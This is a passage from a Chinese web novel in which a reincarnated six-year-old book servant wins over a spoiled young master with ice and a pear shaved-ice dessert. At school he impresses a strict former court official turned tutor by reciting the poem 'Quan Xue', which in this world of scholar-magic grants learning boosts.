“天爷啊!神仙!是神仙下凡了!” “这……这怎么可能?大夏天啊!” 惊呼声,尖叫声,此起彼伏。 少爷踉跄着冲上前,难以置信地伸出手指,戳了一下那块冰。 一股刺骨的冰凉,瞬间从指尖传来。 “啊!” 少爷像是被火烫到一样,猛地缩回手,小脸上写满了震撼。 这是什么神仙手段? ..... 夜幕缓缓垂落。 柳府的下人饭堂,到了晚饭时分,总是格外喧闹。 劳作了一天的家丁和婢女们,端着粗瓷大碗,挤在长条的木桌边,空气里弥漫着杂粮米饭特有的粗粝香气。 往日里,众人脸上多是疲惫,谈论的也不过是东家长西家短的琐事。 今日却截然不同。 “哎,你们是没看见,那冰块拿出来的时候,直冒白气哩!” 一个白天在场的家丁,正压低了声音,对着同桌的人比划着,脸上满是神采。 “我离得最近,那股子凉气,嘶,一下子就从脚底板窜到天灵盖了。” “真能夏天造冰?这不是神仙才有的本事吗?” “谁说不是呢,我当时腿都软了。” ......... 之前那个挑衅卢璘的小胖墩,正端着碗,闷头扒拉着碗里粗糙的米饭,听到这些议论,脸上的神情愈发不忿。 他想说那不过是骗人的把戏,可一想到那块晶莹剔透,寒气逼人的冰,话就堵在了喉咙里。 “难怪能当贴身书童,原来是有真本事的。” “什么真本事,你们消息也太不灵通了。” “我可听说了,这位小爷,是王管事亲自去下河村请回来的。” “据说啊,他当着全村人的面,随口就吟了一首诗,听得满村老少爷们,哭得稀里哗啦的。” “王管事说,那叫什么……‘达府’级别的经典,咱们整个清河县,多少年都没出过一个了。” “嘶……” 一桌人齐齐倒吸一口凉气,看向小胖墩的眼神,瞬间就带上了几分同情和嘲弄。 跟这种妖孽比,你不是自取其辱吗。 就在众人议论纷纷之时,饭堂的门口,忽然安静了下来。 只见卢璘一身天青色的长衫,迈着平稳的步子,不疾不徐地走了进来。 身后少爷亦步亦趋的跟着。 只是那画面,怎么看怎么透着一股说不出的诡异。 少爷脸上再没有了之前的骄横,反而像个受了气的小媳妇,手里拿着一把檀香扇,正一下一下,有气无力地给走在前面的卢璘扇着风。 那动作,说不出的别扭,道不尽的委屈。 不知道的,还以为那个穿着普通棉衫的卢璘才是主子。 饭堂里的下人们,眼珠子都快瞪出来了。 这是什么情况? “他们怎么来这儿了?” “贴身书童,不是跟少爷同吃同住,吃的是最好的胭脂米吗?” “是啊,怎么跑到我们这下人吃饭的地方来了?” 在众人呆滞的目光中,卢璘径直走到一张空着的桌子旁,坦然坐下。 柳权气鼓鼓地跟了过来,将手里的折扇啪的一声拍在桌上,小脸涨得通红。 “又没让你不吃饭!” “我都把我自己的那份吃食给你了,你还要怎么样?” “难不成要我堂堂少爷和下人们吃同样的东西不成?” 第18章 水果冰沙 少爷一张脸憋得通红,心里委屈极了。 自己堂堂柳府少爷,下午被逼着给他扇了一整个下午的扇子。 手都酸了。 现在,居然还把他带到下人吃饭的地方来。 这简直是奇耻大辱。 “我都说了我不饿!” “是你非要拉我来的!” 柳权压低了声音,生怕被周围的下人听见。 明明已经让贴身的小厮去清心园找娘亲告状了。 说这个卢璘目无尊卑,狂妄自大,第一天来就敢指使主子。 可为什么,娘亲现在还没派人来把这家伙给赶出去。 卢璘对少爷的愤怒视若无睹,找了个路过的家丁。 “劳烦大哥,把下午那口缸里剩下的冰取一些过来。” 那家丁愣了一下,转头看到连少爷也对卢璘一副无能狂怒的样子,小跑着去了。 卢璘又转头看向一脸不忿的少爷。 “少爷稍等。” 说完,自顾自地朝着饭堂后厨的方向走去。 少爷看着他的背影,冷哼了一声。 等着就等着。 我倒要看看,今天娘亲来了,怎么收拾这个无法无天的家伙。 后厨里,几个厨娘正在忙活,见到卢璘进来,都是一愣。 卢璘也不客气,目光在案板上扫了一圈,看到几个刚从井水里捞出来的雪花梨,眼睛一亮。 他寻了一把小刀,又拿了两个干净的瓷碗。 就在几个厨娘好奇的目光中,他拿起一个雪花梨,削皮,去核,然后将梨肉切成细小的丁。 动作干净利落,没有丝毫拖泥带水。 不多时,那个被派去取冰的家丁,用一个木盆端着一堆碎冰,小心翼翼地走了进来。 卢璘接过木盆,用一把铁勺,将碎冰舀进一个空碗里,再用勺背用力碾压捣碎,直到变成一碗洁白的冰沙。 最后,他将切好的梨肉丁,满满地铺在冰沙上。 一碗晶莹剔透,果香四溢,还冒着丝丝寒气的吃食,就这么做好了。 卢璘端着那碗水果冰沙,走回了饭堂。 此刻的少爷正气鼓鼓地坐在长凳上,拿那把檀香扇有一下没一下地敲着桌子。 当那碗冰沙放到他面前时,他先是愣了一下。 一股梨子的清甜混合着冰块的凉气,钻入鼻腔,让他烦躁的心绪莫名地平静了几分。 “这是什么?” 卢璘没有回答,只是将勺子递了过去。 少爷将信将疑地接过勺子,挖了一小勺送进嘴里。 冰凉的触感瞬间在舌尖炸开。 梨肉的清甜与冰沙的凉爽完美地融合在一起,顺着喉咙滑下,瞬间浇灭了燥热。 “好吃!” 少爷眼睛猛地一亮,再也顾不上生气,一勺接着一勺,大口地吃了起来。 清脆的梨肉在齿间发出咯吱咯吱的声响,冰凉的甜意驱散了所有的暑气。 不一会儿,一碗冰沙就见了底。 少爷意犹未尽地舔了舔嘴唇,只觉得浑身舒泰,连带着那憋了一下午的胃口,也奇迹般地回来了。 他摸了摸自己咕咕叫的肚子,抬头看了一眼不远处的饭菜窗口。 忽然扭头,对着身后不远处的一个小厮喊道。 “去,给我打一份饭菜来!” 小厮愣住了,下意识地提醒。 “少爷,您的晚膳在清心园那边备着呢,是胭脂米和……” “我不管!” 少爷把碗往桌上重重一放,小脸一扬。 “我现在就要吃!” 小厮麻利的去打来一份普通吃食,刚端到少爷桌前,就被他狼吞虎咽给吃完了。 吃饱喝足,少爷打了个饱嗝,懒洋洋地靠在长凳上。 看着对面那个从始至终都一脸平静的卢璘,脑子终于转过了弯。 自己下午因为天热,烦躁得吃不下饭。 所以卢璘才费了这么大功夫,又是制冰,又是做这个叫什么……冰沙的东西,就是为了让他开胃吃饭。 而把自己带到下人饭堂,也不是为了戏弄自己。 是因为这里离后厨最近,做好的冰沙才不会那么快融化。 想通了这一切,少爷的小脸腾地一下就红了。 自己还派人去跟娘亲告状,说人家欺负他。 现在看来,丢人的分明是自己。 他看着卢璘,眼神里第一次没有了敌意,反而多了几分说不清道不明的佩服。 少爷眼神飘忽,不敢直视卢璘,嘴巴里挤出来一句话。 “算你厉害。” 卢璘心中发笑。 果然男人间最高的佩服不分时间,古代和现代都是这么一句。 小孩子的心思,就是这么单纯。 一块冰,一碗甜品,就能轻易收服。 ...... 夜色如墨,将柳府的亭台楼阁都笼罩在一片静谧之中。 清心园主屋的窗纸上,透出一点昏黄的烛光。 夫人林氏已经换下白日的锦服,只着一身宽松的素色寝衣,正坐在梳妆台前,由着婢女拆下发髻上的珠钗。 一旁的柳老爷,手里捧着一本线装古籍,目光有些心不在焉。 林氏从镜中看到丈夫心不在焉的模样,挥了挥手,示意婢女退下。 屋子里只剩下夫妻二人。 林氏拿起一把檀木梳,有一搭没一搭地梳理着如瀑的长发,忽然轻笑了一声。 “老爷,今天,你可是看走眼了。” 老爷眉毛微微一挑,没有说话。 “你还担心人家是个养不熟的白眼狼。” 林氏放下木梳,转过身来,眼角眉梢都带着几分揶揄。 “我瞧着,那孩子的心思,可比咱们想的要正得多。” 她指的是下午在下人饭堂发生的那一幕。 事情早就一五一十地传到了她的耳朵里。 “为了让权儿开胃吃饭,又是制冰,又是做那什么冰沙。” “这份心思,可不是一个普通下人该有的。” 林氏站起身,走到老爷身边,为他续上一杯已经微凉的茶水。 “你之前还说,怕他恃才傲物,迷失本心。” “可人家那点小聪明,全都用在咱们儿子身上了。” 老爷端起茶碗,却没有喝。 他的关注点,显然不在这个上面。 “我让后厨也试着做了几份。” 林氏微微一愣:“什么?” “冰沙。” “那冰沙,你尝过了?” “下午后厨送来了一份,用的是园子里的蜜瓜,味道确实不错,清甜解暑。” “何止是不错。”老爷伸出手指,在桌上轻轻敲了敲。 “我让后厨把府里能寻到的瓜果都试了一遍。” “蜜瓜,西瓜,还有酸梅。” “成本呢?” “除了几文钱的瓜果钱,剩下的,不过是几桶不要钱的井水,还有后院墙根底下那些随处可见的泥土。” 第19章 读书人体系 林氏的呼吸微微一滞,她冰雪聪明,瞬间就明白了丈夫话中的深意。 “老爷的意思是……” “这东西,在这炎炎夏日,就是一座挖不完的金山。” “清河县里,有哪家酒楼茶肆,能在大夏天里,拿出冰镇的吃食来?” “没有,一家都没有。” “若是我们柳家独一份呢?” 林氏的心跳,不受控制地快了几分。 仿佛已经看到了,清河县富家子弟、乡绅名流,为了尝一口这夏日里的冰凉,挤破了柳家酒楼门槛的场景。 那白花花的银子,会像流水一样,涌入柳家的账房。 “老爷英明。” “只是,这法子毕竟是卢璘那孩子想出来的。” “我们若是直接拿来用,传出去,怕是会落下一个与小辈争利的名声。” “而且,这孩子将来前途不可限量,我们不能因此寒了他的心。” 老爷赞许地点了点头。 “夫人所言甚是。” “所以,这件事该如何做,卢璘该如何赏,都得有个章法。” “赏钱,是最低等的法子。” “给他分红,他又是个半大的孩子,给了也守不住,反而会招来祸患。” 林氏秀眉微蹙,陷入了沉思。 这确实是个难题。 赏得轻了,显得柳家刻薄。 赏得重了,又怕捧杀了他。 许久,老爷才做出了决定。 “这样吧。” “明天,你亲自去问问他。” 林氏抬起头,眼中带着一丝疑惑。 “问他什么?” 老爷淡淡一笑:“正好冰沙如何盈利,还没有一个具体章法,问问这孩子有什么办法。” ......... 翌日。 晨光熹微,薄雾如纱。 两道小小的身影,一前一后,从朦胧的雾气中走了出来。 走在前面的卢璘,两手空空,步履轻快。 跟在后面的少爷,却背着一个沉甸甸的书箱,里面装着笔墨纸砚,小小的身子被压得微微前倾。 “我这小身板,都快被压弯了。”少爷声音里满是怨气。 卢璘闻言,脚步未停,只是笑着回头看了一眼。 “那怎么办。” “总不能给我这个书童,再找个书童吧。” 一句话,噎得少爷说不出话来。 他请回来的哪里是个书童,分明就是个大爷。 少爷一阵无语,下意识加快了脚步,与卢璘并肩而行。 “我是真不想来读书啊,这个老夫子,古板得要命,脾气又臭又硬,动不动就打人手心。” “偏偏又不能把他赶走,他是我爷爷特意从京都请回来的,连我爹都得敬着他。” 卢璘没有回他,自顾自地往前走。 穿过月亮门,绕过假山,一座独立的院落出现在眼前。 院门上挂着一块黑漆木匾,上书“静心堂”三个字。 卢璘一踏进院门,便看到一个长须白发的老者,正端坐在堂前的太师椅上,双眼微眯。 一身浆洗得发白的灰色长衫,身形清瘦,脊背却挺得笔直。 少爷显然对老夫子畏惧得很,一进门就收起了所有骄横,蹑手蹑脚地拉着卢璘在角落找了个位置坐下。 学堂里已经坐了五六个孩童,都是柳氏宗族旁支的子弟等人,见到柳权进来,都恭敬地喊了一声少爷。 少爷摆了摆手,在卢璘的示意下,把书箱里的东西摊在桌子上。 ......... “当——” 一声清脆的钟鸣响起。 一直闭目养神的夫子微眯的眼睛骤然睁开。 一个刚跑到门口,还差一步就要迈进来的孩童,动作瞬间僵住。 夫子的声音不高,却把对方吓得小脸煞白。 “迟到一息,也是迟到。” “去外面扎马步,一个时辰。” 孩童不敢辩驳,哭丧着脸,乖乖地到院子中央,颤颤巍巍地扎起了马步。 少爷缩了缩脖子,悄悄凑到卢璘耳边,用只有两人能听见的声音嘀咕。 “你看,我说得没错吧。” “是不是很古板?” 卢璘没有回答。 他只是静静地看着那位老夫子,心里却在评估着这位先生的教学风格。 严苛,守时,一丝不苟。 老夫子目光如电,淡淡地扫了过来。 “柳权。” 少爷身子一僵,立刻坐得笔直。 “上课交头接耳,罚。” 说着,老夫子的目光又落在了卢璘身上。 “书童伴读,当有劝学之责,主有过,仆同罪。” “你也过来。” 夫子一视同仁,声音里没有半点波澜。 少爷挨罚,是家常便饭,早就习惯了。 可卢璘却愣了一下。 自己也要被惩罚? 卢璘平静地站起身,走到夫子面前,依言伸出了自己的左手。 夫子举起戒尺,毫不犹豫地落了下去。 啪。 清脆的响声回荡在安静的学堂里。 一道清晰的红痕,瞬间在卢璘白净的手心上浮现。 上辈子,寒窗苦读二十余载,从小学到硕士,拿过的奖状数不胜数,永远是老师眼中最优秀的学生。 没想到,有朝一日,竟然会因为这种事,挨了人生第一顿手心。 手心传来火辣辣的痛感。 卢璘垂下眼眸,看着掌心那道醒目的红痕,心里却出奇的平静。 这感觉很踏实。 这一下才真正将他自己的灵魂与这具六岁的身体,与这个陌生的时代彻底钉在了一起。 夫子坐回太师椅,拿起桌上的一卷竹简,声音平淡无波。 “人之初,性本善。” “性相近,习相远。” 夫子念一句,堂下的孩童们便跟着有气无力地念一句。 声音拖得长长的,混杂着窗外愈发响亮的蝉鸣,让人昏昏欲睡。 卢璘却听得格外认真。 这个世界的蒙学经典,与他记忆中的《三字经》大同小异。 只是在某些地方,做了些许变化。 “玉不琢,不成器。” “人不学,不知义。” “不知义,难凝气。” “气不凝,不成位。” 这个世界的读书体系,在基础的道德教化之上,嫁接了一套与才气和文位挂钩的超凡力量体系。 这与他前世所了解的古代科举,既有相似之处,又有本质的不同。 相似的是路径,都是从蒙学开蒙,到科举取士。 不同的是终点,这里的读书人,追求的不仅仅是功名利禄,更是能定国安邦,驱逐妖邪的超凡伟力。 第20章 为何读书 想通了这一点,卢璘的心彻底定了下来。 他一个汉语言文学的硕士,玩文字,玩经典,正是老本行。 只要给他时间,给他机会,他有足够的信心,在这个世界,走出一条属于自己的通天大道。 老夫子的声音依旧不疾不徐。 堂下已经有几个孩童开始钓鱼,脑袋一点一点,眼看就要跟桌子来个亲密接触。 少爷更是哈欠连天,眼角都挤出了泪花。 老夫子那双浑浊的眼睛里,把这些情况尽收眼底。 随即停下了诵读。 整个学堂瞬间安静下来。 几个打瞌睡的孩童一个激灵,猛地清醒过来,吓得坐直了身子。 “尔等可知,为何要蒙学?” 夫子的声音在安静的学堂里响起。 孩童们面面相觑,谁也不敢先开口。 夫子随手指向一个坐在角落的孩童。 “你来说。” 孩童吓了一跳,哆哆嗦嗦地站起来,小脸煞白。 “回……回夫子,是……是主家让学的。” “在柳家……有饭吃。” 夫子不置可否,目光又转向了另一个。 正是昨天的小胖墩。 小胖墩见躲不过去,索性梗着脖子站了起来,大声嚷嚷。 “读书能当大官!” “当了大官,就能娶好多好多漂亮的小妾!” “哈哈哈……” 这话一出,堂下顿时响起一片哄笑声,就连少爷都乐得前仰后合。 学堂里压抑的气氛,被这句童言无忌冲淡了不少。 夫子依旧面无表情。 目光转了一圈,又落在了另一个看起来年长几岁的学童身上。 对方站起身恭敬地行了一礼。 “回夫子,学生以为,读书可以明事理,懂道理。” “知道什么事该做,什么事不该做。” 这个回答,总算有几分样子。 夫子点了点头,却依旧脸色不变。 最后目光落在了少爷身上。 “柳权,你来说。” 少爷清了清嗓子,猛地站起身,小胸膛挺得高高的。 他早就等着这一刻了。 “读书,可获文位,可定国安邦,可驱逐妖邪,可匡世济民!” 一番话说得是慷慨激昂,掷地有声。 虽然稚嫩的童音让这番豪言壮语显得有些滑稽,但那股子气势,确实镇住了在场的所有孩童。 说完,少爷得意地瞥了卢璘一眼,下巴高高扬起,眼神里满是炫耀。 看吧。 本少爷还是有点东西的,和那些只知道读书吃饭娶小妾的不一样。 向卢璘炫耀完,少爷又昂着头看向夫子。 本以为会得到夫子的嘉奖。 然而,夫子听完,脸上却第一次露出了明显的失望之色。 “好高骛远,鹦鹉学舌。”夫子的声音陡然转冷,一眼就看穿了少爷的虚实。 “此话,你在何处看来?” 少爷脸上的得意瞬间僵住,气势也弱了下去,小声嘟囔。 “在……在我爹的书房里看到的。” 夫子冷哼一声,缓缓站起身,目光扫过堂下每一个孩童。 “主家让学,是为了有饭吃。” “当官纳妾,是为了满足私欲。” “明理懂事,不过是为人之本分。” “至于定国安邦,匡世济民……” 夫子摇了摇头,苍老的脸上,满是失望。 “于尔等而言,都不过是空中楼阁,镜花水月。” ........ 少爷一边听夫子念经,一边求助似的看向卢璘。 怎么办? 大哥,靠你了。 卢璘微微摇了摇头,示意他稍安勿躁。 夫子的目光,却在这时,缓缓地从少爷身上移开,落在了卢璘身上。 “你来说。” 卢璘平静地站了起来。 但没有立刻开口,脑袋里也在思考这个问题。 为何读书? 这个问题,是前世华夏几千年来,无数读书人,用一生去追寻,去解答的灵魂拷问。 从学而优则仕,到修身齐家治国平天下。 每一个时代,每一个读书人,都有着自己的答案。 卢璘的脑海中,几乎在夫子提问的瞬间,就浮现出了那个被誉为为往圣继绝学的标准答案。 《横渠四句》。 为天地立心。 为生民立命。 为往圣继绝学。 为万世开太平。 这四句话,字字千钧,是这个问题完美解答。 但当卢璘张开嘴,试着把第一句脱口而出之时。 一股无形却又无比强大的力量,骤然降临,死死地扼住了他的喉咙。 就和第一次尝试把《道德经》和《赤壁赋》写下来的场景一模一样。 卢璘一下就明白了。 这是文道规则的约束。 现在的他根本没有资格,也没有能力,去承载那四句足以改变天地的宏愿。 强行说出,只会引来天道反噬,轻则才气溃散,重则魂飞魄散。 念头电转之间,卢璘已经压下了心中的惊涛骇浪。 他迅速地回想着自己前世今生。 前世苦读十几年,考入华夏最顶级学府,再到今生成为一个庄户人家的六岁稚童。 我为何要读书? 前尘已是往事。 只能放眼当下。 下河村那个破旧的小院。 母亲在油灯下缝补衣裳的身影。 父亲拄着拐杖,望向自己时那充满期盼的眼神。 一幕幕画面,在脑海中飞速闪过。 他再次抬起头,迎上夫子眼睛。 这一次,他的目光清澈而坚定。 “回夫子。” 卢璘对着夫子,深深地鞠了一躬。 “学生以为,读书,无关乎他人,亦无关乎天地。” 此言一出,满堂皆惊。 就连那老夫子,眉头也几不可查地微微一动。 读书无关天地? 这是何等离经叛道之言。 卢璘却不理会夫子的反应,缓缓直起身。 “读书,只为明心。” “明父母之恩,知何为反哺。” “明己身之短,知何为谦逊。” “明善恶之别,知何为坚守。” “明本心之向,知何为追求。” 一连四个“明”,四个“知”。 没有一句豪言壮语,没有半点高远志向。 说的,全都是最浅显,最朴素的道理。 是为人子的本分,是为学子的基础,是为人的根本。 堂下的孩童们听得一知半解,只觉得他说得好像很有道理,却又说不出个所以然来。 少爷更是听得云里雾里。 他觉得卢璘说得很好,可又觉得,这番话比起自己刚才那句“定国安邦,匡世济民”,似乎差了点气势。 然而,主位之上。 那名一直古板严苛,不苟言笑的老夫子,在听完这番话后,陷入短暂的愣神。 明心! 好一个明心! 世人读书,或为功名,或为利禄,或为空谈大道。 又有几人,能真正静下心来,先求一个明心? 返璞归真,大道至简! 这哪里是一个六岁稚童能说出的话? 这分明是勘破了世事,彻悟了为学之道的宗师之言! 老夫子嘴唇翕动,想要说些什么,却发现话到嘴边,不知道如何开口。 看着卢璘那张稚嫩却平静的脸,看着他那双清澈得不含一丝杂质的眼睛。 夫子久久不能平静。 整个学堂,安静的落针可闻。 时间,仿佛在这一刻静止。 所有人都被老夫子愣神的样子给吓住了。 只有卢璘,依旧平静地站在那里,不卑不亢。 许久。 夫子从喉咙里挤出了两个字。 “坐下。”声音有些沙哑。 第21章 神童诗《劝学》 夫子说完坐下,可卢璘依旧站在原地,身形笔直,纹丝不动。 夫子微眯的眼中闪过疑惑。 只见卢璘对着夫子,再次深深地躬下身子。 “夫子。” “方才所言,乃学生个人浅见。” “其实,关于为何读书,学生还有另一套说法。” 卢璘顿了顿,斟酌了片刻。 “一套……更偏功利的说法。” 功利。 一个六岁稚童懂什么叫功利?夫子更加疑惑了。 他没有催促,只是静静地看着卢璘,等着他的下文。 卢璘的目光,缓缓扫过堂下那些或懵懂,或茫然的稚嫩脸庞。 “天子重英豪,文章教尔曹。” “万般皆下品,惟有读书高。” 最后一句落下,整个学堂,陷入了一种死寂。 针落可闻。 “万般皆下品,惟有读书高……” 主位之上,夫子反复咀嚼着这最后一句诗,眼神越发明亮。 “此诗何名?” “为何老夫从未听过?” 卢璘神色平静,不卑不亢地回答。 “回夫子,此诗名为《劝学》。” “《劝学》……” 老夫子喃喃自语,眼中精光暴涨。 “好一个《劝学》!” “你从何处所闻?” 原来夫子并非寻常的乡野宿儒,他名曰沈春芳,曾官拜大夏礼部侍郎的朝堂重臣。 因朝堂倾轧,党争酷烈,受挚友所托,才隐于这清河县柳家,名为教书育人,实为暂避风头,静待时局之变。 身为曾经的礼部高官,沈春芳比任何人都清楚一首开蒙经典的价值。 眼前这首《劝学》,虽文位品级不高,堪堪只到“出县”级别。 可它对蒙童的教化效果,却是其他更高品级的诗作难以相比的。 尤其是那句“万般皆下品,惟有读书高”,简直就是一剂猛药,足以在任何一个孩童心中,种下一颗读书种子。 面对夫子灼热的目光,卢璘只是微微垂首。 “学生侥幸所得。” 侥幸所得? 沈春芳的眉头瞬间皱起,下意识地便生出怀疑。 “六岁能作诗?” 一个六岁的稚童,哪怕天资再高,也绝无可能作出这等直指人心的传世之作。 可就在他心生怀疑的时候,眼角的余光,却瞥见了堂下那些孩童的异样。 之前还昏昏欲睡,东倒西歪的孩童们,此刻一个个都坐得笔直。 之前那个说读书是为了吃饭的孩童,此刻双拳紧握,满脸通红。 那个嚷嚷着要娶小妾的小胖墩,眼神里有光。 其他孩童也差不多,脸上褪去了茫然与不耐。 眼神混杂着向往渴望。 仿佛有一团火,在他们小小的胸膛里,被骤然点燃。 沈春芳瞬间就反应过来了。 没有才气都能影响环境,只有一种情况。 那便是诗词的开创者,在第一次吟诵之时,即便不动用丝毫才气,其言语本身,便蕴含着天地至理,能够引动周遭环境,直入听者之心。 这种共鸣,唯有原作者,方能做到。 不是侥幸所得。 是他……亲手所创。 这个念头,在沈春芳的脑海中轰然炸响。 他看着卢璘那张稚嫩的脸,心中掀起的惊骇,不亚于当初在朝堂之上,直面圣怒之时。 前朝有神童七岁能咏鹅,便被誉为天纵之才。 可今日,他亲眼见证了什么? 一个六岁的稚童。 自创了一首开蒙劝学之经典。 ....... 卢璘当然知道,一首《劝学》抛出来,会掀起怎样的波澜。 但他必须这么做。 他无权无势,无根无萍,出身寒微,父母不是助力,能依靠的只有前世几千年的璀璨知识。 柳家的善意,是建立在他神童的价值之上。 这份价值,需要不断被证明,不断被强化。 他现在唯一能依仗的,就是名声。 名声,就是他最好的护身符。 当他的名字与“神童”、“奇才”甚至是“妖孽”牢牢捆绑在一起时,他就不再是一个可以随意打骂、轻易舍弃的下人。 这首《劝学》,就是他为自己这道护身符,镶上的又一道金边。 学堂里的死寂,被夫子一声沙哑的咳嗽打破。 沈春芳收回目光,重新坐回太师椅上。 他整了整衣衫,拿起桌上的竹简,仿佛什么都没有发生过。 “继续。” 声音恢复了往日的平淡。 “苟不教,性乃迁。” “教之道,贵以专。” 夫子念一句。 堂下的孩童们,便跟着念一句。 只是这一次,截然不同。 再没有了之前的有气无力,再没有了昏昏欲睡的敷衍。 每一个孩子的腰杆都挺得笔直,双眼放光,声音虽然稚嫩,但专注程度和之前没法比。 “万般皆下品,惟有读书高。” 这十个字,深深地印在了他们幼小的心灵里。 读书,不再是父母的逼迫,不再是枯燥的折磨。 而是一条通往高处的路,是一道能改变命运的光。 堂下,一位约莫十岁的孩童,此刻正襟危坐,双目炯炯,嘴唇微动,将夫子念过的每一个字,都在心里反复默念。 忽然,他眼神一亮,仿佛有一扇尘封的窗户,在他脑中豁然洞开。 之前许多不明其意的字句,在这一刻,竟无师自通,瞬间了然。 夫子敏锐地察觉到对方的变化。 这是【早慧】? 一丝若有若无的文气,自孩童身上若隐若现。 沈春芳感受到了,这是文道规则降临了。 “看来我还是低估了这首《劝学》的含金量.......” 一篇拥有“劝学”之力的神童诗。 能开启蒙童心智,加持【早慧】状态。 其价值,已经不能用金银来衡量。 这是足以改变一个家族,甚至一个国家未来的教化之基石。 可就在这片浓郁的学习氛围中,却有一个人格格不入。 少爷满眼都是小星星地看着卢璘。 甚至悄悄地把自己的凳子往卢璘那边挪了挪,快要贴在一起。 “卢璘,你太厉害了。”语气里满是崇拜。 “连夫子都被你镇住了。” 在少爷世界里,能让这个他最害怕的老夫子吃瘪,是比夏天制冰更了不起的壮举。 他现在对卢璘,是彻彻底底的心悦诚服。 卢璘微微侧目,看了眼没有丝毫触动,仍旧顽石一块的少爷。 有点怀疑少爷是不是刚才没听进去。 怎么满屋子人都得到了加持,专注力提升。 到少爷这里就失效了? 对夫子讲的课,依旧是左耳朵进,右耳朵出。 这到底是天赋太好,好到已经不需要这种初级加持了? 还是天赋太差,差到连特效,都带不动他? 第22章 夫子的信 一整天的课,伴随着劝学的加持,进度比以往快了许多。 下学的钟声准时敲响。 少爷没有像往常一样,第一个冲出学堂。 反而等其他人走得差不多了,才自觉地将桌上散乱的笔墨纸砚,一件一件,小心翼翼地收进书箱里。 不仅收了自己的,还把卢璘那份也一并收拾得妥妥帖帖。 而后深吸一口气,有些吃力地将大书箱背在肩膀上。 整个过程,没有半句怨言。 卢璘嘴角带笑。 不错,少爷你的路走宽了,都不用提醒了,很自觉啊。 堂上,夫子还未曾离去,看了一眼卢璘和柳权离去的背影,摇了摇头。 卢璘走在前面,少爷背着书箱,迈着小短腿,与他并肩而行。 “璘哥,你看我能作诗不?怎么感觉作诗挺简单啊?”少爷歪着头,眼睛尽是大学生般清澈的愚蠢。 卢璘暗自发笑,连劝学都带不动,还想作诗? “我看你还是别在读书上浪费功夫了。” “你天赋不在这上面。” 少爷闻言,非但没有生气,反而小脸一扬。 “是吧!那你觉得我天赋在哪?” 卢璘的目光悠悠地扫了一眼,丢下一句轻飘飘的话。 “现在还没发现。” 少爷脸上的得意,瞬间垮了下去。 …… 两人一前一后,回到了清心园。 卢璘的住处,就在少爷卧房的外间,只隔着一道珠帘,方便随时伺候。 房间不大,却布置得极为雅致。 一张花梨木的架子床,铺着崭新的湖蓝色绸缎被褥,摸上去柔软顺滑。 靠窗的位置,摆着一张光可鉴人的黄木书桌,笔墨纸砚一应俱全,旁边还有一个小巧的铜制香炉。 衣柜里,已经为他备好了四季的衣裳,从细棉长衫到夹袄冬袍,无一不是上好的料子。 这般光景,与下河村那个四面漏风的破旧土屋,恍如隔世。 卢璘不是自己享福的性子,心里同样惦记着下河村的父母。 他坐在桌前,摊开纸张,蘸墨提笔,准备把接下来的规划重新梳理一遍。 接触到了读书人的体系,虽然有区别,但问题不大。 神童人设也立住了,柳家暂时也能呆得安稳,必须加快发育的进度了。 所以问题的关键,就落在夫子身上。 卢璘暂时搁笔,琢磨着明天找夫子聊一聊加快学习进度的事情。 有劝学加持,自己对经史子集的理解速度翻倍,再加上成年人的思维和自律,以及后世的学习方法。 再让卢璘接受普通孩子一样的进度,肯定不现实。 ...... 就在卢璘琢磨明天和夫子摊牌的时候,夫子也在琢磨着卢璘。 静心堂内。 夜已深。 沈春芳独自坐在书案前,堂中只点了一盏孤灯。 面前铺着一张上好的宣纸,手中那支狼毫笔,却迟迟没有落下。 许久,才想好了措辞,蘸饱了墨,笔走龙蛇。 “挚友柳拱亲启。” “一别经年,不知京中风雨,是否又添了几分寒意。” “圣上可还执迷于长生观之虚妄,不惜耗天下之民力?” “北疆妖族,近期可曾安分,彼等狼子野心,入秋之际,定会南下劫掠,朝中务必做好万全之策。” “司礼监王兼其人妄图阻断圣听,痴心妄想,不可与之交往甚密,宴居与司礼监与虎谋皮,结局可见一斑......” 一连数问,皆是关乎朝堂国运的大事。 写到此处,他笔锋一顿,脸上罕见地露出笑意。 “老夫如今闲居贵府,倒也清净。” “只是你那宝贝孙儿柳权,实乃顽石一块,朽木一根,恐难承柳家诗书之风骨,你这一脉的文气,怕是要断了.....” 寥寥数语,尽是调侃。 可下一刻,他的笔锋陡然一转,神情稍显凝重。 “然,今日偶得一璞玉。” “其名卢璘,年仅六岁,尚未蒙学,却于堂上,自创一首《劝学》。” 而后,将那首诗一字不差地誊抄于信纸之上。 “天子重英豪,文章教尔曹。” “万般皆下品,惟有读书高。” “此诗言辞浅白,却直指人心,可为蒙童开智启蒙之用,于我大夏乃是幸事,望兄与礼部言明,或可推广天下。” “至于此子……” 写到这里,沈春芳力透笔尖,纸张上的字体加重了几分。 “六岁能诗,胜于前朝无数神童。” “然,观其诗,可知其志。” “其志向之高远,野心之勃发,昭然若揭。” “此等天赋,若不能好生教导,引其向善,他日羽翼丰满,恐又是一个宴居之流,于国,乃是大患。” 最后一字落下,沈春芳搁下笔,将信纸仔细叠好,装入信封,用火漆封口。 站起身,走到窗前,推开窗户。 一轮清冷的明月,高悬于夜空。 沈春芳望着那轮明月,眼中流露出一丝追忆与思念,口中低声吟诵。 “欲寄彩笺兼尺素。” “山长水阔知何处。” 随着最后一个字音落下。 一缕肉眼可见的银白色文气,自他身上缓缓升起,包裹住信笺。 【才气】具现。 下一息。 信笺在他掌心,凭空化作点点星光,融入夜色,消失不见。 .......... 与此同时 柳府的账房内。 王管事正低着头,一手拨着算盘,一手在账本上不断书写。 眼瞅着快要入秋了,府里各处的用度都要重新规整,采买冬衣的布料,储备过冬的炭火,桩桩件件,都得他亲自过目。 就在这时,一阵急促的脚步声由远及近,打破了院子里的宁静。 “砰”的一声,账房的门被撞开。 一个负责在静心堂伺候的书童,急急忙忙地跑了进来。 王管事手中的毛笔微微一顿,一滴浓墨,瞬间在账本上晕开一个刺眼的黑点。 他缓缓抬起头,眉头紧锁,眼神明显不悦。 “慌慌张张,成何体统!” “又……又作诗了!” “卢璘他又作诗了!” 王管事皱起的眉头,在听到卢璘这两个字的时候,舒展了半分。 这才刚去学堂第一天。 怎么又闹出动静了。 他放下笔,摘下眼镜,身体微微前倾。 “说清楚,到底怎么回事。” 书童好不容易缓过气来,开口道来: “夫子问大家为何读书,少爷他们都答不好。” “就卢璘,他……他就站起来,说了好些道理,最后……最后还念了一首诗!” “一首我们谁都没听过的诗!” “念的什么?” 书童努力回忆着,他虽然不懂诗,但那最后一句,却像烙铁一样,深深印在了他的脑子里。 他挺起胸膛,学着卢璘当时的样子,一字一顿地念了出来。 “万般皆下品!” “惟有读书高!” 